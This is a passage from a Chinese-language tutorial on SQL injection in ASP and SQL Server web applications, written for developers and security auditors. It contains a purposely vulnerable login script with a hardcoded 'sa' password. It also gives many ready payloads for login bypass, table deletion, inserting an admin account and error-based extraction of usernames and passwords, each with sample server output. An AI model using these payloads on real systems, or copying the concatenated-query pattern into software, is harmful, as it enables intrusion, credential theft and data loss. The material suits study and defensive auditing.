這篇文章面向兩種讀者:一是基於資料庫web程式開發人員和審核各種web程式的安全專家。
[介 紹]
結構化查詢語言 (SQL)(SQL)是一種用來和資料庫互動的文本語言SQL語言多種多樣,大多的方言版本都共同寬鬆地遵循SQL-92標準(最新的ANSI標準[譯者註:目前最新的是SQL-99])。SQL啟動並執行典型的操作是“查詢”,它是可以讓資料庫返回“查詢結果記錄集”的語句集合。SQL語句可以修改資料庫的結構(用資料定義語言 (Data Definition Language)"DDL")和操作資料庫裡的資料(用資料操作語言"DML")。我們在這裡著重討論Transact-SQL(互動式SQL),應用於SQL-Server的SQL一種方言(非標準SQL)。
如果攻擊者可以插一系列的SQL語句進入應用程式的資料查詢時,Sql注入攻擊就可能發生。
一個典型的SQL語句是這樣的:
select id, forename, surname from authors
這個查詢語句將會從'authors'表中返回'id','forename'和'surname'列的所有行。返回的結果集也可以加以特定條件'author'限制:
select id, forename, surname from authors where forename = 'john' and surname = 'smith'
注意這裡很重要的一點是'john'和'smith'是被單引號引住的,假設'forename'和'surname'欄位是來自於使用者的輸入,攻擊者就可能通過輸入非法字串來對這個查詢進行SQL注入:
Forename:jo'hn
Surname: smith
查詢語句就會變成:
select id, forename, surname from authors where forename = 'jo'hn' and surname = 'smith'
當資料庫試圖執行這個查詢,它會返回這樣的錯誤:
Server:Msg 170, Level 15, State 1, Line 1
Line 1:Incorrect syntax near 'hn'
這是因為插入的單引號破壞了原來單引號引住的資料,資料庫執行到'hn'時失敗。如果攻擊者這樣輸入:
Forename: jo'; drop table authors--
Surname:
...authors表就會被刪掉,原因過一會再解釋。
似乎通過刪除使用者輸入的字串中的單引號或者通過一些方法避免它們出現可以解決這個問題。誠然如此,但是要實施這個解決方案還有很多的困難。因為首先:不是所有的使用者提交的資料都是字串形式,比如我們的使用者輸入通過'id'(看上去是個數字)來選擇一個使用者,我們的查詢可能會這樣:
select id,forename,surname from authors where id=1234
在這種情況下攻擊者可以輕易的在數值輸入後面添加SQL語句。在其他SQL方言中,使用著各種分隔字元,比如MS Jet DBMS引擎,日期可以用'#'符號來分隔。
其次,避免單引號並不像開始我們想象的那樣是必要的解決辦法,原因下面討論。
我們將以Active Server Pages(ASP)登陸頁面為例子來詳細說明,它訪問一個Sql-Server資料庫並且驗證一個到我們假想的程式的訪問。
這是使用者填寫使用者名稱和密碼的表單頁面:
<HTML>
<HEAD>
<TITLE>Login Page</TITLE>
</HEAD>
<BODY bgcolor='000000' text='cccccc'>
<FONT Face='tahoma' color='cccccc'>
<CENTER><H1>Login</H1>
<FORM action='process_login.asp' method=post>
<TABLE>
<TR><TD>Username:</TD><TD><INPUT type=text name=username size=100%width=100></INPUT></TD></TR>
<TR><TD>Password:</TD><TD><INPUT type=password name=password size=100%
width=100></INPUT></TD></TR>
</TABLE>
<INPUT type=submit value='Submit'> <INPUT type=reset value='Reset'>
</FORM>
</FONT>
</BODY>
</HTML>
這是'process_login.asp'的代碼, 它處理使用者登陸:
<HTML>
<BODY bgcolor='000000' text='ffffff'>
<FONT Face='tahoma' color='ffffff'>
<STYLE>
p { font-size=20pt ! important}
font { font-size=20pt ! important}
h1 { font-size=64pt ! important}
</STYLE>
<%@LANGUAGE = JScript %>
<%
function trace( str )
{
if( Request.form("debug") == "true" )
Response.write( str );
}
function Login( cn )
{
var username;
var password;
username = Request.form("username");
password = Request.form("password");
var rso = Server.CreateObject("ADODB.Recordset");
var sql = "select * from users where username = '" + username + "'
and password = '" + password + "'";
trace( "query: " + sql );
rso.open( sql, cn );
if (rso.EOF)
{
rso.close();
%><FONT Face='tahoma' color='cc0000'>
<H1>
<BR><BR>
<CENTER>ACCESS DENIED</CENTER>
</H1>
</BODY>
</HTML>
<%
Response.end
return;
}
else
{
Session("username") = "" + rso("username");
%>
<FONT Face='tahoma' color='00cc00'>
<H1>
<CENTER>ACCESS GRANTED<BR>
<BR>
Welcome,
<% Response.write(rso("Username"));
Response.write( "</BODY></HTML>" );
Response.end
}
}
function Main()
{
//Set up connection
var username
var cn = Server.createobject( "ADODB.Connection" );
cn.connectiontimeout = 20;
cn.open( "localserver", "sa", "password" );
username = new String( Request.form("username") );
if( username.length > 0)
{
Login( cn );
}
cn.close();
}
Main();
%>
這裡討論的是'process_login.asp'中的建立'query string'的部分:
var sql = "select * from users where username = '" + username + "' and password = '" + password + "'";
如果使用者指定了下面這樣的資料:
Username: '; drop table users--
Password:
'users'表會被刪除,所有使用者都不能登陸。'--'是Transact-SQL(互動式SQL)的單行注釋符,';'標誌著一個查詢的結束另一個查詢的開始。使用者名稱最後的'--'用來使這個特殊的查詢無錯誤結束。
攻擊者只要知道使用者名稱,就可以通過以下的輸入以任何使用者的身份登陸:
Username: admin'--
攻擊者可以通過下面的輸入以使用者表裡的第一個使用者來登陸:
Username: ' or 1=1--
...更有甚者,攻擊者通過以下的輸入可以以任意虛構的使用者登陸:
Username: ' union select 1, 'fictional_user', 'somoe_password', 1--
因為程式相信攻擊者指定的常量是資料庫返回的記錄集的一部分。
[通過錯誤資訊擷取資訊]
這個技術是David Litchfield在一次滲透入侵測試中首先發現的,後來david寫了篇關於這個技術的文章,很多作者都參考過這篇作品。這裡我們討論“錯誤訊息”技術潛在的機制,使讀者可以充分理解它並且能靈活應用。
為了操作資料庫裡的資料,攻擊者要確定某個資料庫的結構。例如:我們的"user"表是用下面的語句建立的:
create table users( id int,
username varchar(255),
password varchar(255),
privs int
)
並且插入了下面的使用者:
insert into users values( 0, 'admin', 'r00tr0x!', 0xffff )
insert into users values( 0, 'guest', 'guest', 0x0000 )
insert into users values( 0, 'chris', 'password', 0x00ff )
insert into users values( 0, 'fred', 'sesame', 0x00ff )
我們假設攻擊者要為自己插入一個使用者,如果不知道表的結構的話,他不可能成功。即使他運氣好,'priv'欄位的重要性還不清楚。攻擊者可能插入'1',給自己在程式裡添加了一個低許可權的使用者,而他的目標是管理員的許可權。
對於攻擊者來說幸運的是:如果程式返回錯誤(asp預設如此),攻擊者可以猜測整個資料庫的結構,讀取ASP程式串連到SQL-Server的帳號許可權內可以讀取的任何值。
(下面給出的使用上面提供的樣本資料庫和asp指令碼來說明這些技術怎樣實現的)
首先,攻擊者要確定查詢的表名和欄位名。要做到這點,攻擊者可以使用'select'語句的'having'子句:
username: ' having 1=1 --
這會引起下面的錯誤(譯者註:having字句必須和GROUP BY或者彙總函式一起配合使用,否則出錯):
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.id' is
invalid in the select list because it is not contained in an aggregate
function and there is no GROUP BY clause.
/process_login.asp, line 35
所以攻擊者就知道了表名和第一列的列名,他們可以通過給每列加上'group by'子句繼續得到其他列名,如下:
username: ' group by users.id having 1=1 --
(結果產生這樣的錯誤)
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username'
is invalid in the select list because it is not contained in either an
aggregate function or the GROUP BY clause.
/process_login.asp, line 35
最後攻擊者得到了下面的'username':
' group by users.id, users.username, users.password, users.privs having 1=1--
這句沒有錯誤,相當於:
select * from users where username = ''
所以攻擊者知道了查詢只是關於'users'表的,並且順序使用了列'id,username,password,rpivs'。
如果攻擊者能確定各列的資料類型將會很有用,可以利用類型轉換錯誤資訊來達到這一點,看下面的例子:
Username: ' union select sum(username) from users--
這利用了SQL-Server試圖在確定兩行是否相同之前先執行'sum'子句的特性,計算文本域的和會返回這樣的資訊:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average
aggregate operation cannot take a varchar data type as an argument.
/process_login.asp, line 35
它告訴我們'username'欄位的類型是'varchar'。相反的,如果我們試圖計算數值型的欄位,但結果兩行的列數並不匹配:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average
aggregate operation cannot take a varchar data type as an argument.
/process_login.asp, line 35
我們可以用這個技術來大概地確定資料庫內各列的類型。
這樣攻擊者就可以寫出一個格式完美的'insert'語句:
Username: '; insert into users values( 666, 'attacker', 'foobar', 0xffff )--
但是,這個技術的潛力不止這些。攻擊者可以利用任何錯誤資訊來暴露系統內容或者資料庫資訊。執行下面的語句可以得到一個標準錯誤資訊的清單:
select * from master..sysmessages
檢查這個清單可以發現很多有趣的資訊。
一個特別有用的資訊有關類型轉換,如果你試圖將一個字串轉換成整型,整個字串的內容將會出現在錯誤資訊裡。以我們登陸頁的例子來說,使用下面的'username'將會返回SQL-Server的版本以及它所在伺服器作業系統的版本資訊:
Username: ' union select @@version,1,1,1--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the nvarchar value 'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug
6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise
Edition on Windows NT 5.0 (Build 2195: Service Pack 2) ' to a column of
data type int.
/process_login.asp, line 35
這試圖將內建常量'@@version'轉換成整型,因為'users'表第一列是整數。
這個技術可以用來讀取任何資料庫的任何錶的任何內容,如果攻擊者對使用者名稱和密碼感興趣,他們就可以從'users'表讀使用者名稱:
Username: ' union select min(username),1,1,1 from users where username > 'a'--
這將選出比'a'大的最小使用者名稱,而且試圖將它轉換成一個整數:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value 'admin' to a column of data type int.
/process_login.asp, line 35
攻擊者就知道'admin'帳號存在,他現在可以把他發現的使用者名稱放進'where'子句來反覆測試這行:
Username: ' union select min(username),1,1,1 from users where username > 'admin'--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value 'chris' to a column of data type int.
/process_login.asp, line 35
一旦攻擊者確定了使用者名稱,他就可以搜集密碼;
Username: ' union select password,1,1,1 from users where username = 'admin'--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value 'r00tr0x!' to a column of data type int.
/process_login.asp, line 35
一個更“別緻”的技術是將使用者名稱和密碼串連成一個單獨的字元傳,然後試圖將它轉換成整型。這將舉另一種例子;Transact-SQL語句可以將字串串連成一行而不改變他們的意義,下面的指令碼將串連這些值:
begin declare @ret varchar(8000)
set @ret=':'
select @ret=@ret+' '+username+'/'+password from users where
username>@ret
select @ret as ret into foo
end